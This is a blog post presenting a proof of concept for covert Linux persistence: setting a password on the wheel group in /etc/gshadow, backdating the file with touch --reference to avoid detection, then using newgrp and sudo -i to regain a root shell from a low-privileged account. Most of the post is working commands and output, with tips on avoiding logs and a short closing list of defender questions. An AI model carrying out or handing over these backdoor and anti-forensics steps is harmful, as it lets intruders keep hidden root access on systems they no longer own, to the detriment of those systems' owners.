A rarely used feature on Linux and UNIX systems is the ability to add a password to a group. The concept is similar to how users are handled. An encrypted hash is stored in the second field of the gshadow(5) file. Anyone with the password can execute the newgrp(1) command to temporarily change their GID without having to be a member of the group. The goal of this post is show how this feature can be leveraged to create persistence on a server in a semi stealthy way.

Let’s setup the scenario: You currently have root access to a server but need to relinquish that access. Perhaps you have exploited a vulnerability but have to cleanup. You will retain access to a low privileged local account.

This PoC will show how the newgrp command can be used to gain access to the wheel group which has sudo privileges to execute all commands as root.

Relevant /etc/sudoers entry

%wheel ALL=(ALL) ALL

Generate a password hash and update the second field for the wheel entry in /etc/gshadow. This example uses DES however any hash supported by the system will work. I suggest using a a strong password with better hash such as SHA-512. You can also use the gpasswd(1) utility but this will generate a log entry.

[root@174c96ca63b3 ~]# perl -e 'print crypt("woot", "ab") . "\n"'
abVwWAIOx7aZw

[root@174c96ca63b3 ~]# grep ^wheel /etc/gshadow
wheel:abVwWAIOx7aZw::

Reset the last modified timestamp to match /etc/group so it will not appear as a recently modified file. This step is optional but recommended if  you want to minimize detection.

[root@174c96ca63b3 ~]# ls -alrt /etc/group /etc/gshadow
-rw-r--r-- 1 root root 371 Jan  8 04:22 /etc/group
---------- 1 root root 302 Jan  8 04:35 /etc/gshadow

[root@174c96ca63b3 ~]# touch --reference=/etc/group /etc/gshadow

[root@174c96ca63b3 ~]# ls -alrt /etc/group /etc/gshadow
---------- 1 root root 302 Jan  8 04:22 /etc/gshadow
-rw-r--r-- 1 root root 371 Jan  8 04:22 /etc/group

Show that user1 does not currently have any sudo privileges.

[user1@174c96ca63b3 ~]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
[user1@174c96ca63b3 ~]$ sudo -ll
Sorry, user user1 may not run sudo on 174c96ca63b3.

Execute the newgrp command passing the wheel group as an argument. Enter the “woot” password. Notice the GID has changed to 10/wheel.

[user1@174c96ca63b3 ~]$ newgrp wheel
Password:
[user1@174c96ca63b3 ~]$ id
uid=1000(user1) gid=10(wheel) groups=10(wheel),1000(user1)

Note: By default on CentOS 7 newgrp does not generate a log message on success however if you provide an incorrect password the following message was logged. A success log message will be generated if SYSLOG_SG_ENAB is set to yes in /etc/login.defs.

Jan 7 04:40:09 localhost newgrp[1177]: Invalid password for group 'wheel' from 'user1'

On Ubuntu 18.04.1 LTS a log entry is generated when newgrp is successful and when the shell terminates.

Jan  8 22:48:37 user0-VirtualBox newgrp[15092]: user 'user1' (login 'user1' on pts/1) switched to group 'sudo'
Jan  8 22:48:47 user0-VirtualBox newgrp[15092]: user 'user1' (login 'user1' on pts/1) returned to group 'user1'

Now execute sudo -i to obtain a root shell.  For the purpose of the PoC this is an easy way to show the power of newgrp. To be stealthy you probably want to use a different method to elevate privileges. It depends on how well the logs are monitored.

[user1@174c96ca63b3 ~]$ sudo -i
[root@174c96ca63b3 ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@174c96ca63b3 ~]#

Other ideas

The sg command can also be used to execute a specified command with the GID reset.

[user1@174c96ca63b3 ~]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
[user1@174c96ca63b3 ~]$ sg wheel id
Password:
uid=1000(user1) gid=10(wheel) groups=10(wheel),1000(user1)

It could get very interesting if you had access to a group like disk. Think of the possibilities if you had read/write access to all disks.

$ ls -l /dev/sda2
brw-rw----. 1 root disk 8, 2 Jan  7 04:28 /dev/sda2

Caveats

The changes could be reverted if the group is managed by a configuration management system such as Puppet or Chef.

Defenders

  • Are you monitoring for group passwords?
  • Are strong passwords being used?
  • Are the passwords being rotated on a regular basis?
  • Is a strong hash being used or are you using DES?